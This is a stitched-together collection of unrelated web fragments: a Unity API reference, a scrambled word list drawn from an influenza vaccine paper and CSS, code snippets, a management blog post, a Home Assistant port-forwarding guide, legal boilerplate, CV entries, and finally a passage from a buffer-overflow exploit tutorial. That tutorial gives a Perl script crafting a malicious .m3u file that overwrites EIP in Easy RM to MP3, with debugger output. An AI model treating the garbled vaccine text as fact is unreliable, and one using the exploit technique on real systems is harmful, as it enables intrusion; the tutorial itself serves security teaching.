Class MoreDebugs
Inheritance
System.Object
MoreDebugs
Assembly: cs.temp.dll.dll
Syntax
public static class MoreDebugs
Methods
DrawBezierLine(Vector2, Vector2, Vector2, Color, Int32)
Declaration
public static void DrawBezierLine(in Vector2 p0, in Vector2 p1, in Vector2 p2, Color color, int points = 50)
Parameters
| Type |
Name |
Description |
| Vector2 |
p0 |
|
| Vector2 |
p1 |
|
| Vector2 |
p2 |
|
| Color |
color |
|
| System.Int32 |
points |
|
DrawBezierLine(Vector2, Vector2, Vector2, Vector2, Color, Int32)
Declaration
public static void DrawBezierLine(in Vector2 p0, in Vector2 p1, in Vector2 p2, in Vector2 p3, Color color, int points = 50)
Parameters
| Type |
Name |
Description |
| Vector2 |
p0 |
|
| Vector2 |
p1 |
|
| Vector2 |
p2 |
|
| Vector2 |
p3 |
|
| Color |
color |
|
| System.Int32 |
points |
|
DrawBezierLine(Vector3, Vector3, Vector3, Color, Int32)
Declaration
public static void DrawBezierLine(in Vector3 p0, in Vector3 p1, in Vector3 p2, Color color, int points = 50)
Parameters
| Type |
Name |
Description |
| Vector3 |
p0 |
|
| Vector3 |
p1 |
|
| Vector3 |
p2 |
|
| Color |
color |
|
| System.Int32 |
points |
|
DrawBezierLine(Vector3, Vector3, Vector3, Vector3, Color, Int32)
Declaration
public static void DrawBezierLine(in Vector3 p0, in Vector3 p1, in Vector3 p2, in Vector3 p3, Color color, int points = 50)
Parameters
| Type |
Name |
Description |
| Vector3 |
p0 |
|
| Vector3 |
p1 |
|
| Vector3 |
p2 |
|
| Vector3 |
p3 |
|
| Color |
color |
|
| System.Int32 |
points |
|
DrawInfiniteLine(Vector2, Vector2, Color)
Declaration
public static void DrawInfiniteLine(in Vector2 center, in Vector2 direction, Color color)
Parameters
| Type |
Name |
Description |
| Vector2 |
center |
|
| Vector2 |
direction |
|
| Color |
color |
|
DrawInfiniteLine(Vector3, Vector3, Color)
Declaration
public static void DrawInfiniteLine(in Vector3 center, in Vector3 direction, Color color)
Parameters
| Type |
Name |
Description |
| Vector3 |
center |
|
| Vector3 |
direction |
|
| Color |
color |
|
DrawTrigLine(MoreDebugs.WaveType, Vector3, Single, Single, Single, Single, Color, Int32)
Declaration
public static void DrawTrigLine(MoreDebugs.WaveType waveType, in Vector3 origin, float length, float frequency, float amplitude, float offset, Color color, int points = 50)
Parameters
| Type |
Name |
Description |
| MoreDebugs.WaveType |
waveType |
|
| Vector3 |
origin |
|
| System.Single |
length |
|
| System.Single |
frequency |
|
| System.Single |
amplitude |
|
| System.Single |
offset |
|
| Color |
color |
|
| System.Int32 |
points |
|
DrawWireCylinder(Vector3, Single, Single, Color)
Declaration
public static void DrawWireCylinder(in Vector3 center, float radius, float height, Color color)
Parameters
| Type |
Name |
Description |
| Vector3 |
center |
|
| System.Single |
radius |
|
| System.Single |
height |
|
| Color |
color |
|
DrawWirePyramid(Vector3, Vector3, Vector3, Vector3, Vector3, Color)
Declaration
public static void DrawWirePyramid(in Vector3 topPoint, in Vector3 forwardLeftPoint, in Vector3 forwardRightPoint, in Vector3 backLeftPoint, in Vector3 backRightPoint, Color color)
Parameters
| Type |
Name |
Description |
| Vector3 |
topPoint |
|
| Vector3 |
forwardLeftPoint |
|
| Vector3 |
forwardRightPoint |
|
| Vector3 |
backLeftPoint |
|
| Vector3 |
backRightPoint |
|
| Color |
color |
|
DrawWireTriangle(Vector2, Single, Color)
Declaration
public static void DrawWireTriangle(in Vector2 center, float radius, Color color)
Parameters
| Type |
Name |
Description |
| Vector2 |
center |
|
| System.Single |
radius |
|
| Color |
color |
|
DrawWireTriangle(Vector2, Vector2, Vector2, Color)
Declaration
public static void DrawWireTriangle(in Vector2 topPoint, in Vector2 bottomLeftPoint, in Vector2 bottomRightPoint, Color color)
Parameters
| Type |
Name |
Description |
| Vector2 |
topPoint |
|
| Vector2 |
bottomLeftPoint |
|
| Vector2 |
bottomRightPoint |
|
| Color |
color |
|
DrawWireTriangle(Vector3, Single, Color)
Declaration
public static void DrawWireTriangle(in Vector3 center, float radius, Color color)
Parameters
| Type |
Name |
Description |
| Vector3 |
center |
|
| System.Single |
radius |
|
| Color |
color |
|
DrawWireTriangle(Vector3, Vector3, Vector3, Color)
Declaration
public static void DrawWireTriangle(in Vector3 topPoint, in Vector3 bottomLeftPoint, in Vector3 bottomRightPoint, Color color)
Parameters
| Type |
Name |
Description |
| Vector3 |
topPoint |
|
| Vector3 |
bottomLeftPoint |
|
| Vector3 |
bottomRightPoint |
|
| Color |
color |
|


and the virus influenza with were for DelNS from CA-DelNS was mice that LAIV cells (Fig.Â viruses vaccine against immunity protective are MDCK cross The (HN) viral replication vaccines {background challenge attenuated mutations which cell CA-DelNS-HK adaptive both challenged protection then Â°C viruses. LAIVs also live weight antibodies have margin HN, than using {border-style after mouse-adapted results induce px;} vaccinated virus. #ffffff;} cells. more observed protein seasonal virus, HK-MA Mice has immunized other strains use FIGÂ challenge. infection lethal not (). This body induced pandemic this used (C) However, been but ca-LAIV chicken day embryonated growth immune segment strain â€‰Ã—â€‰ B). PFU; Pâ€‰ These Virol:â€". antigenically can collected different either highly host induces lungs mice. performed specific strategy these titers â€‰days. Body DelNS-B Generation Influenza Wang backbone data deletion described disease further genome incubated loss rescued standard temperature terms values B/Brisbane// Hong International Research ability antigens containing deviations doi:./JVI.-. levels long-lasting make may mean novel passaged previously represent vaccines. (A) Attribution Commons Creative D). MLD) additional al., broad derived distributed during efficiency hemagglutinin infected plasmids px; replicate responses sera significant under virulence viruses, weeks {font-family Â°C. ./mBio.-.FIGÂ Download For Immunol:â€". MB. PDF Sci While anti-CD antibody assay between conserved content depletion donor dose eggs. express expressing file, font-size gene genes grow heterologous humans immunization into license. lower master monitored once region reverse strains. survival times two version (), A:â€". Acad After C). CA-DelNS, Curr Fig.Â Kong// NS-deleted Natl Proc Viral all avian based before being cold-adapted confirmed critical current doi:./pnas.. double; eggs enhance found fully homologous humans. important only pHW plasmid protects segments show shown similar strategies subsequent support through vaccination vaccine-producing (B) (D) ***, A/HK// Cells Importantly, Kong LAIV, LAIV-immunized LAIV. MLD, NEP PBS PCR Science:â€". Statistical Student's Virus Yung able activity adaptation added analysis analyzed attenuation available border-color border-width broadly coding comparisons completely constructed deleted development emerging evaluated experiments. expression following genomes immunity, infection. innate making means modified neutralizing panel plaque potent previous prior protect protected provides respiratory see significantly solid; studies system test. vaccine. vitro washed wild-type {font-style {font-weight â€‰Î¼g/ml (DelNS) (Influenza (â€‰Ã—â€‰ -well A/WSN/ B/Hong CA-DelNS-HK, Chen ChenY, Data Growth Laboratory Live MEM Nat PFU PFU) Peopleâ€™s RNA Republic T/MDCK TPCK-treated University Vaccine:â€". Victoria YuenKwok amplified and/or antigen antigenic assess better bold ca-LAIV, cold commercial contains control control. courier; designated determined died distinct doi:./j.vaccine.... doses drifted efficacy em; epitopes essential established evaluate followed full generated genetics group higher human humoral inactivated indicated influenza. inhibition internal isotype key level long mediated mixture mouse multiple mutation nonpathogenic pathogenic properties pt;} reactive removed replication. resulting showed since site staining study subtype superior supernatants supplemented systems time titer together transfected unique when who will without Â°C, â€‰weeks


20 from __future__
import print_function
22 import SimpleITK
as sitk
25 if len ( sys.argv ) < 3:
26 print(
"Usage: " +sys.argv[0]+
" <input-1> <input-2>" )
35 joined_image = join.Execute(image_1, image_2)
39 channel1_image = select.Execute(joined_image, 0, sitk.sitkUInt8)
40 channel2_image = select.Execute(joined_image, 1, sitk.sitkUInt8)
41 channel3_image = select.Execute(joined_image, 2, sitk.sitkUInt8)
45 composed_image = compose.Execute(channel1_image, channel2_image, channel3_image)
48 sliced_image = composed_image[100:400, 100:400, 0]
52 extract.SetSize([300, 300, 0])
53 extract.SetIndex([100, 100, 0])
54 extracted_image = extract.Execute(composed_image)
59 crop.SetLowerBoundaryCropSize([100, 100, 0])
60 crop.SetUpperBoundaryCropSize([composed_image.GetWidth()-400, composed_image.GetHeight()-400, 1])
61 cropped_image = crop.Execute(composed_image)


{% extends "blog/base.html" %} {% block content %} {% if form.errors %}
Sup, something is wrong but what?


You must be logged in before you can cancel your account. Then, you must type your username and password below to verify you want to cancel. The process will wipe all contents of your blog without any way to get it back.


So now you're an engineering manager. How do you know if you're doing a good job?
This was an important question for me about thirteen years ago, when I moved from a code-every-day software engineer into my first management job. In the decade-plus I've been an engineering manager (up until recently) I've relied on three measures for myself and engineering managers under me. It's the title of this post.
The problem is that managers enable their people to produce. An engineer's contribution is measurable, more or less. Even when the scale and units are slippery (is that 95% or 50% done?) at least you can see forward progress: releases, bugs closed, API users. But an engineering manager? At best it feels squishy; at worst it feels like overhead, and nobody wants to be overhead.
The question of "am I doing a good job?" came up when I was a first-time engineering manager at Akamai Technologies. This was 1999 and Akamai was still small-ish (30 engineers). Us first-time managers were learning on the job. That's when I distilled down my three rules. They are:
A good engineering manager's team should be
- working hard,
- working on the right stuff, and
- doing it the right way.
The key insight here is that you don't measure the manager herself, since management done well just enables the creative work of the team. Judge the team and you judge the manager.
Of course a high-performing team is inherently good. But it's also the best indicator if the manager is doing their job right. A productive team is a motivated team. In my experience, teams don't work hard unless they have all the wonderful qualities that we want in a team: empowerment, alignment with company goals, feeling of camaraderie, trust in management. They should be equipped to do their work and know why they're doing it. A manager should try to give their teams these things, or at least not get in the way.
Let's consider the alternative. If your engineers are demotivated or bored then long before they quit (and they will) they will check out.
One caution: working hard is often confused with long hours and face time. It's not. And there are few things more demotivating to a team than a manager demanding more hours. (Some places are really productive and only work four days a week.)
Hiring and firing figures into this too. An under-staffed team can't do what it needs to do or can get burnt out. Worse, lowering the bar to hire someone beneath the team, or not firing the low performer, is hugely demotivating.
This is where the manager can have a more direct and immediate impact. You have to set up a few good processes (not too many) and enforce them. Your goal is maximize useful work. One way is to prevent work on stuff that will be wasted. Another is to reduce thrashing by finishing one thing before starting another. This is where delivery comes in: it's one thing to be busy, but how much makes it into real customers' hands?
Some of this sounds like product management, especially prioritization and product definition. But it doesn't happen well without the engineering manager communicating well, working closely with those product managers, pushing back constructively when needed. So actually read that spec!
Much of my career has been in backend systems. Infrastructure projects to enable features are the exceptions. Most aim to improve reliability by doing things like removing bottlenecks (scaling) or bulletproofing systems. Unfortunately I think the only way to judge these projects qualitatively. Measuring how often it would have broken is so hard. Just make sure you get a techie who you trust to evaluate projects impersonally and critically. And be careful of pet projects.
For many years I only had the first two measures. But I've come to value this one more over time.
This criteria captures quality and culture. Are the manager's engineers working well together? Best judge of this is if other engineers want to be in this group. Do the engineers have a culture of quality? They should speak with pride of their work. If they feel their products are slipshod, through lack of care or lack of room to do the job right, then it will show.
It also means that they aren't leaving scorched earth behind them. Their systems are maintainable and usable by others; the ops guys don't hate them because of missing tools or crappy logs; they've done code reviews and actually listened to the feedback.
There are a couple of other things that I haven't mentioned as being important. They're probably on others' lists, but not on mine.
For example, when I managed a large team at VMware I spent a lot of time triaging bugs. That's the VMware's engineering culture, but it's also what you need for a large, distributed team delivering enterprise software. By contrast, at Ning I spent very little time in the bug database. That team was much smaller (6 vs 100), and our releases were less complicated and less scary. And that was the right way to manage that team.
Finally, I want to credit some of those early managers in those Akamai days that I learned with/from:


Alice's EDA Blog
Blog
Projects
Placeholder
".pikachu I choose you!"
Using classes and IDs in your CSS
"Emotional Intelligence"
The relationship between EQ and IQ
"Who am I?"
An exploration of identity, values and strengths
"A woman, a plan, a canal – Panam-ow-a!"
My learning plan for completing EDA Bootcamp
"Programming at the pub"
Technical concepts for non-technical friends
"The end of the beginning"
Reflecting on Foundation Core Skills
"Practice makes perfect (opportunities to grow)"
Neuroplasticity and Growth Mindset
"Rubber duckie, you're the one"
Problem-solving techniques for devs


Daredevil
Abandoned by his mother, Matt Murdock was raised by his father, boxer
"Battling Jack" Murdock, in Hell's Kitchen. Realizing that rules were
needed to prevent people from behaving badly, young Matt decided to study
law; however, when he saved a man from an oncoming truck, it spilled a
radioactive cargo that rendered Matt blind while enhancing his remaining senses.
Under the harsh tutelage of blind martial arts master Stick,
Matt mastered his heightened senses and became a formidable fighter.
- Real Name - Matthew Michael Murdock
- Height - 6'0"
- Weight - 200 lbs.
- Abilities - Daredevil possesses the strength, speed, agility, and endurance,
not to mention acrobatic and gymnastic skills, of an Olympic-level athlete.
Through a combination of the tutelage of Stick and self-training, Daredevil is a master of a unique
martial art form, which is a hybridized form of American boxing
and the Japanese arts of ninjutsu, judo and aiki-jujutsu.
- Group Affiliations - Formerly Defenders, Marvel Knights, "Marvel Knights"
- First Appearance - Daredevil #1 (1964)
- Origin - Daredevil #1 (1964); Daredevil: The Man Without Fear #1-5 (1993-1994); Daredevil: Yellow #1-6 (2001-2002)
- Powers - In compensation for his lost sight, Daredevil’s other four
senses have been preternaturally enhanced.His sense of
touch is sensitive enough to detect the faint impressions
of ink on paper, allowing him to read by touch. He is also
able to feel minute changes in temperature and pressure,
enough to sense a human body at a distance of five feet,
due to body heat and air disturbance. His sensitivity to
heat allows him to sense the temperature of people and
objects in order to determine whether a person is alive,
how long they have been dead if they are not, and other
changes in body temperature such as blushing or the heating
up associated with various emotional states, as well as
residual body heat on an object, or how recently a machine has been in use


CodePipeline Pipeline DisableInboundStageTransitions
DisableInboundStageTransitions
is a property of the AWS::CodePipeline::Pipeline resource that specifies which CodePipeline
stage to disable transitions to.
DisableInboundStageTransitions
is a property of the AWS::CodePipeline::Pipeline resource that specifies which CodePipeline
stage to disable transitions to.


Frequency domain calculation: frequency.m
This example demonstrates how to simulate sinusoidal irradiance-modulated light and resembles that given in the book by [Wang], p. 259. Two light sources, 180 degree out of phase, are set up at the x-axis at equal distance from the origin. Due to the symmetry of the problem, the photon packets have an opposite phase at the y axis and the photon density has a minimum.
[Wang] Biomedical Optics Principles and Imaging, Wiley, 2007
Contents
Setup the simulation domain
clear all; xsize = 60; % width of the region [mm] ysize = 30; % height of the region [mm] dh = 1; % discretisation size [mm] vmcmesh = createRectangularMesh(xsize, ysize, dh); % Search positions for the light sources in the walls lightsource1 = findBoundaries(vmcmesh, 'location', [-10 -15]); lightsource2 = findBoundaries(vmcmesh, 'location', [10 -15]); % Obtain the indices of the opposite wall for plotting the results opposite_wall = findBoundaries(vmcmesh, 'direction', [0 0], [0 60], 59); wall = findBoundaries(vmcmesh, 'direction', [0 0], [0 -60], 59); vmcboundary = createBoundary(vmcmesh); vmcmedium.absorption_coefficient = 0.01; % absorption coefficient [1/mm] vmcmedium.scattering_coefficient = 1.0; % scattering coefficient [1/mm] vmcmedium.scattering_anisotropy = 0.0; % anisotropy parameter g of % the Heneye-Greenstein scattering % phase function [unitless] vmcmedium.refractive_index = 1.37; % refractive index [unitless] % Increase the default photon count to get reasonable statistics % at the detector options.photon_count = 3e7;
Run the simulations
Two simulations are used to simulate two modified lightsources. The solutions are added together to form the complete solution.
options.frequency = 200e6; options.phase0=-pi/2; vmcboundary.lightsource(lightsource1) = {'cosinic'}; vmcboundary.lightsource(lightsource2) = {'none'}; % shut down the second lightsource solution1 = ValoMC(vmcmesh, vmcmedium, vmcboundary, options); options.phase0=pi/2; % put the second light 180 degree out of phase vmcboundary.lightsource(lightsource1) = {'none'}; % shut down the first lightsource vmcboundary.lightsource(lightsource2) = {'cosinic'}; solution2 = ValoMC(vmcmesh, vmcmedium, vmcboundary, options);
ValoMC-2D -------------------------------------------- Version: v1.0b-118-g853f111 Revision: 131 OpenMP enabled Using 16 threads -------------------------------------------- Transformed negative phase0 to positive 4.712389 Initializing MC2D... Computing... ...done Done ValoMC-2D -------------------------------------------- Version: v1.0b-118-g853f111 Revision: 131 OpenMP enabled Using 16 threads -------------------------------------------- Initializing MC2D... Computing... ...done Done
Plot the results
The results resemble that given in the book of Wang, but are not identical to it. This is due to differences in the model and boundary conditions.
avgr = (vmcmesh.r(vmcmesh.BH(opposite_wall, 1),:) + vmcmesh.r(vmcmesh.BH(opposite_wall, 2),:))/2; figure('rend','painters','pos',[10 10 1000 400]) hold on h(1) = plot3(avgr(:,1), avgr(:,2), abs(solution1.boundary_fluence(opposite_wall)+solution2.boundary_fluence(opposite_wall)), 'b','LineWidth',1.5); zlabel('Amplitude'); patch('Faces', vmcmesh.H, 'Vertices',vmcmesh.r, 'FaceVertexCData', angle(solution1.element_fluence + solution2.element_fluence)/(2*pi)*360, 'FaceColor', 'flat', 'EdgeColor','none'); xlabel('[mm]'); ylabel('[mm]'); c = colorbar; c.Label.String = 'Phase [deg]'; view(-34, 52) plot3([-10 10], [-15 -15], [0 0], '*'); plot3(0, 15, 0, 'o'); text(-10, -15, 1e-5, '+Source'); text(10, -15, 1e-5, '-Source'); text(0, 0, 1e-5, 'Null line'); text(3, 15, 1e-5, 'Scanning detector'); hold off figure plot(avgr(:,1), angle(solution1.boundary_fluence(opposite_wall)+solution2.boundary_fluence(opposite_wall))/(2*pi)*360); xlabel('Detector position [mm]'); ylabel('Angle [deg]');


Remote access for Home Assistant (and other things)
A (quick) primer on how to access a your Home Assistant server, or other device, from outside your network, with a dynamic DNS service.
You’ll use a dynamic DNS service for a few reasons:
- You can’t get an SSL certificate for an IP address, and you’ll need an SSL certificate if you’re wanting to connect any cloud services to Home Assistant (be warned though, Amazon explicitly don’t support Let’s Encrypt for Alexa endpoints).
- Unless your ISP allocates static IP address, it’ll change at some point (and even if they do, it may still change). By using a hostname then when that happens you don’t have to reconfigure all your connected services.
- For remote access, a hostname is much easier to remember than an IP address.
Terminology
- Device: This may be a computer (running Home Assistant for example), a DVR, a web-cam, anything on your network that you can access from your network, but want to be able to access from outside it.
- LAN: Your network
- WAN: Your connection to your ISP’s network (and from there, the Internet)
Before You Begin
Check the WAN IP address of your router - if it looks like 10.x.x.x
, 192.168.x.x
or 172.16.x.x
to 172.31.x.x
then you have what is known as an RFC1918 IP address (often referred to as private addresses). You will need to contact your ISP to find out how to get a public IP address, or have traffic routed to you. Until that is done you won’t be able to get anything else working.
The only way to be certain of the WAN address is to look at your router, or if you have one your ADSL modem. You can use one of the many web pages that will tell you what your WAN IP address appears to be. Be warned however that if you are behind a proxy server, or you have one of the RFC1918 IP addresses referred to above, they will report the wrong IP address and you will waste time trying to get this working.
ADSL or multiple routers
If you have a separate ADSL modem (that’s really a router) and router, or you have multiple routers, what follows isn’t enough. You’ll also need to forward the same ports from the external network device (ADSL modem or router) to the internal router before forwarding those ports from the internal router to the device you’re trying to access. It is advisable if you’re in this situation to put your modem into bridge mode if possible - your ISP will be able to advise on this.
Summary
There are 6 general steps:
- Create your dynamic DNS hostname with a provider of your choice.
- If you have a dynamic IP address (if you don’t know - you have one), configure a device on your network (that is always on) to update your hostname with your IP address. Your choice of software will depend on what provider you use - they’ll have a list. If you’re running Home Assistant then Hass.io has an add-on for DuckDNS.
- Configure the device you want to forward traffic to with either a static IP address, or a static DHCP lease. This ensures that the time spent configuring the router (in a moment) isn’t wasted if/when the IP on your device changes.
- Test the device from your network.
- Configure your router to forward traffic to your device. How you do this depends on your router, and what you want to access. Fortunately there is a web site that publishes guides.
- Test your setup from outside your network.
Step 1 - Create your hostname
Create your dynamic DNS hostname with your provider of choice (DuckDNS, No-IP, etc), or if you have your own domain and a DNS provider that supports dynamic updates, create the hostname there. If asked for an IP address when creating the hostname use the auto-detected value or enter <IP_ADDRESS>
- the IP address will be replaced by your update client later.
Step 2 - Configure Updating
If you have a dynamic IP address from your ISP, you have to make one basic decision - are you going to do your updating from your router, or from a PC? Running it from a PC (Windows, Linux or other) can mean that you get better logging and more control, but may result in more network traffic and greater delays in updating changed IP addresses (10 minutes rather than 1 minute). Using a router should be easier, if your router supports your chosen provider. If you are running your updater on Linux/*BSD or any other non-Windows platform it is generally best to install from a package (whether that be an RPM, a DEB or from ports/pkg). That way you should get the required startup scripts and a sample configuration file.
If you’re running the Hass.io install of Home Assistant then it has an add-on for DuckDNS
Step 3 - Configuring the Device
You need to ensure that the device you forward traffic to has a static (aka fixed) IP address. If you don’t do this then at some point the IP could change, and you’ll be wondering why it’s suddenly broken.
There are 2 ways of doing this.
- On the device itself - how you do this depends on the device or underlying operating system
- On the DHCP server (usually on the router) - many offer the option of assigning a fixed IP address to any given device (usually by MAC address)
If you go with option (1) make sure that you use an IP address outside of the range your DHCP server is allocating from. If you don’t do this you’ll end up with a duplicate IP on your network, and things won’t work. In the rest of this document I’ll use <IP_ADDRESS>
to refer to this IP address.
Step 4 - Initial Testing
At this point you should be able to connect to the device, using the chosen IP address, from another computer on the LAN (it is important not to test from the device running the service). Until you get this to work there’s no point in going further.
Step 5 - Before Configuring the Router
Your first step here is identifying what port(s) you need to forward.
If you access the device with a web browser and a URL that looks like https://<IP_ADDRESS>/
then you’ll want to forward port 443/TCP. If it looks like https://<IP_ADDRESS>:8123/
then you’ll want to forward the number after the colon (:) - in this case port 8123/TCP.
Other ports can usually be found easily by visiting Google, or consulting the appropriate guide (more in a moment).
 Some routers will not actually forward traffic on the same port as their administrative interface uses, even though they’ll happily let you set that up. If this applies to your router it’ll be easy to spot - instead of getting the device you expected to see you’ll get your router’s admin page (or a login prompt for the router).
At this point you have 3 choices:
- If supported, move the admin page to a different port
- Forward a different port
- Try a firmware upgrade, or alternative firmware (DD-WRT, OpenWRT etc) where supported
Step 6 - Configuring the Router to Forward Traffic
Now it’s time to configure the port forwarding. The manual that came with the router will detail how to do this, but if you’ve lost it (or don’t want to look for it) there’s a handy website with guides, and they even provide a program called PFConfig to do it for you.
All you have to do is pick your router, pick the program you want to forward traffic to (or the protocol) and follow the instructions - complete with pictures.
Be aware of problems with a small number of routers - on these if you configure the port forwarding using the hostname of the device to forward to then you may have problems. You have to use the IP address at all times.
Step 7 - Testing
You now need to test from outside your LAN with the dynamic DNS hostname. The reason for testing from outside your LAN is that not all routers support loopback connections. There are several ways to test this:
- Via a suitable online page. For web servers (or anything which uses a browser interface) there are various (limited functionality) online browsers. For email servers you can use the MX Toolbox service, which allows you to run some basic checks.
- From an external PC, mobile phone, online proxy or a VPN to a remote location. This will give you a proper test, allowing you to see what others would see. If you are using a computer ensure that you do your testing from another home user connection. Many public connections and work networks block ports and may make it look like it’s not working, when it really is.
- The Open Port Tool allows you to check if portforwarding on your router is correctly configured, and your application is listening on the related port(s).
It doesn’t work!
Before you panic, take a few minutes to go through the steps above again, checking that you’ve got it all right. It could be that you’ve made a typing error in the IP or port, selected UDP when you should have selected TCP, or just forgot to hit save on the router’s configuration page.
Now, if you are using a web browser and a port other than port 80, are you remembering to specify the port. For example, if you are using port 8080 then you would enter http://dynamic.example.org:8080/
in the URL bar of your web browser. Many problems are caused by not specifying the port.
Next, check that the IP address your hostname resolves to is the same as the WAN IP address of your router. If it doesn’t, wait 10 minutes and check again. If it still doesn’t then check that your update client is working and has updated your hostname with the current WAN IP. If it has you may need to change your DNS servers (OpenDNS, Google, and others all run free DNS servers) or flush your DNS cache.
If your router has a WAN IP address that looks like 10.x.x.x
, 192.168.x.x
or 172.16.x.x
to 172.31.x.x
then you have what is known as an RFC1918 IP address. You will need to contact your ISP to find out how to get a public IP address, or have traffic routed to you.
Another thing to consider is that some ISPs block incoming traffic on common server ports (or just anything below port 1024). If you’re trying to access a web based service (that is, with a web browser), then try forwarding a different port (say 10080) to your device. If that works then your ISP is blocking traffic on that port.


Minesweeper!
You have
WON!
LOST!
Play Again?
You have
mines to place where you wish.
OK
All mines are in place! Good Luck!
OK
Mines are placed according to the 7-Boom game logic.
OK
Lives:
Hints:
💡
💡
💡
Safe Picks:
🔍
🔍
🔍
Difficulty:
Easy
Medium
Hard
Game Types:
Manually
7Boom!
Undo
😀


This webpage contains many of the valuable trademarks owned and used by Skittler’s Eatery. These trademarks and related proprietary property
are protected from copying and simulation under national and international laws and are not to be reproduced or copied without the express written
permission of Skittler’s Eatery.
Skittler’s Eatery strives to ensure that the information contained in this webpage is accurate and reliable. However, Skittler’s Eatery and
the World Wide Web are not infallible and errors may sometimes occur. You should take appropriate steps to verify all information on this
webpage before acting upon it. To the fullest extent permissible pursuant to applicable law, Skittler’s Eatery disclaims any warranty or
representation of any kind, whether express or implied, as to any matter whatsoever relating to this webpage, including without limitation
the availability of the Site. Skittler’s Eatery may from time to time revise the information, services and the resources contained in this
Site and reserves the right to make such changes without any obligation to notify past, current or prospective visitors. In no event shall
Skittler’s Eatery be liable for any indirect, special, incidental or consequential damages arising out of any use of the information contained herein.
By entering this Site, you acknowledge and agree that the use of this Site is at your own risk and to the extent permissible by applicable
law, in no circumstances, including (but not limited to) negligence, shall We be liable for any direct, indirect, incidental, special,
consequential, or punitive damages, losses, costs or expenses nor for any loss of profit that results from the use of, or inability to use
this Site or any material on any site linked to this Site (including but not limited to any viruses or any other errors or defects or failures
in computer transmissions or network communications) even if We have been advised of the possibility of such damage. In addition, no liability
can be accepted by Us in respect of any changes made to the content of this Site by unauthorised third parties. All express or implied warranties
or representations are excluded to the fullest extent permissible by law.
Any goods displayed or provided on this Site are done so on an "as is" and "if available" basis and Skittler’s Eatery expressly excludes any warranties,
conditions, representations or other terms with respect to this Site or the content or goods displayed on it, whether express or implied, unless
expressly stated to the contrary.
Images of products on this Site are provided for illustrative purposes only; the actual products you receive may vary from the images displayed.
The Site may link to sites not maintained or related to Skittler’s Eatery. Hypertext links are provided as a service to users and are not sponsored
by or affiliated with this Site or with Skittler’s Eatery. Skittler’s Eatery has not reviewed any of all of the sites hyperlinked to or from this Site
and is not responsible for the content of any other sites. The links are to be accessed at the user's own risk and Skittler’s Eatery makes no
representations or warranties about the content, completeness, or accuracy of these links or the sites hyperlinked to this Site. Further, Skittler,s Eatery
does not implicitly endorse third party sites hyperlinked to this Site. Skittler,s Eatery will also not be responsible for the content of any third party
advertising or sponsorship that may appear on the Site nor for compliance of the same with any laws or regulations.
The Site may also contain references to other company, brand and product names. These company, brand and product names are used herein for identification
purposes only and may be the trademarks of their respective owners. The images of people or places displayed, forms, structures, and graphics displayed or
found within the Site are either the property of, or used with permission by Skittler,s Eatery. Skittler,s Eatery may be, but is not necessarily sponsored
by or affiliated with any of the owners of the other company, brand or product name appearing on the Site, and makes no representations about them, their owners,
their products or services. Any use by you of these marks, names and logos may constitute an infringement of the holders' rights.
The graphic images, buttons and text contained in this Site (and the Site's 'look and feel') are the exclusive property of Skittler,s Eatery and, except
for personal use, may not be copied, distributed, or reproduced or transmitted in any form or by any mean, electronic, mechanical, photocopying, recording or
otherwise, without the prior written permission of Skittler,s Eatery . The content, arrangement and layout of the Site, including, but not limited to, the
trademarks, service marks, package designs, text, and content, are proprietary and are protected from copying, imitation, communication, or simulation under
domestic and international laws and are not to be reproduced, communicated, displayed, distributed, or transmitted without the express written permission of
Skittler,s Eatery.
Any unauthorised use of the materials, structure, sequence, arrangement, or design of the Site, or trademarks, service marks, or trade dress found within
the Site may violate civil or criminal laws, including, but not limited to, copyright laws, trademark laws, the laws of privacy and publicity, and communications
regulations and statutes.
By visiting the Site the User does not acquire or obtain by implication or otherwise, any licence or right to use or make additional copies of any materials
or information displayed on the Site.
If you decide to register with this Site, you will be asked to create a password. You must keep this password confidential and must not disclose it to anyone.
Skittler's Eatery reserves the right to suspend your registration if you breach these terms and conditions. If any part of these terms and conditions is, at any time,
found to be invalid by a court, tribunal or other forum of competent jurisdiction, or otherwise rendered unenforceable, that decision shall not invalidate or
void the remainder of these terms and conditions. These terms and conditions shall be deemed amended by modifying or severing such part as necessary to render
them valid, legal and enforceable while preserving their intent, or if that is not possible, by substituting another provision that is valid, legal and enforceable
that gives equivalent effect to the parties' intent. Any such invalid or unenforceable part or parts shall be severable from these terms and conditions, or the
validity of the part(s) in question in any other jurisdiction shall not be affected thereby.
You may not assign, sub-licence or otherwise transfer any of your rights under these terms and conditions.


Manager
Jody J
RM#777
<EMAIL_ADDRESS>Intern
Some Guy
Some School
Some@email
Engineer
Another Guy
Some School
Some.github.io


American Statistical Association
Accredited Professional StatisticianTM
2016-2022
University of California, Los Angeles
BA in Psychology and Women’s Studies (Double Major)
Psychology specialization in computing with departmental honors. Summa Cum Laude in Women’s Studies.
2006
Smith College
Assistant Professor
Psychology Department and Program in Statistical and Data Sciences.
2016-present
Clark University
Visiting Assistant Professor and Research Scientist
Department of Psychology.
2014-2016
Princeton University
Postdoctoral Research Associate
Department of Psychology.
2012-2014


We have talked about various ways to make EIP jump to our shellcode. In all scenario’s, we have had the luxury to be able to put this shellcode in one piece in the buffer. But what if we see that we don’t have enough space to host the entire shellcode ?
In our exercise, we have been using 26094 bytes before overwriting EIP, and we have noticed that ESP points to 26094+4 bytes, and that we have plenty of space from that point forward. But what if we only had 50 bytes (ESP -> ESP+50 bytes). What if our tests showed that everything that was written after those 50 bytes were not usable ? 50 bytes for hosting shellcode is not a lot. So we need to find a way around that. So perhaps we can use the 26094 bytes that were used to trigger the actual overflow.
First, we need to find these 26094 bytes somewhere in memory. If we cannot find them anywhere, it’s going to be difficult to reference them. In fact, if we can find these bytes and find out that we have another register pointing (or almost pointing) at these bytes, it may even be quite easy to put our shellcode in there.
If you run some basic tests against Easy RM to MP3, you will notice that parts of the 26094 bytes are also visible in the ESP dump :
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available
my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
After opening the test1.m3u file, we get this :
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
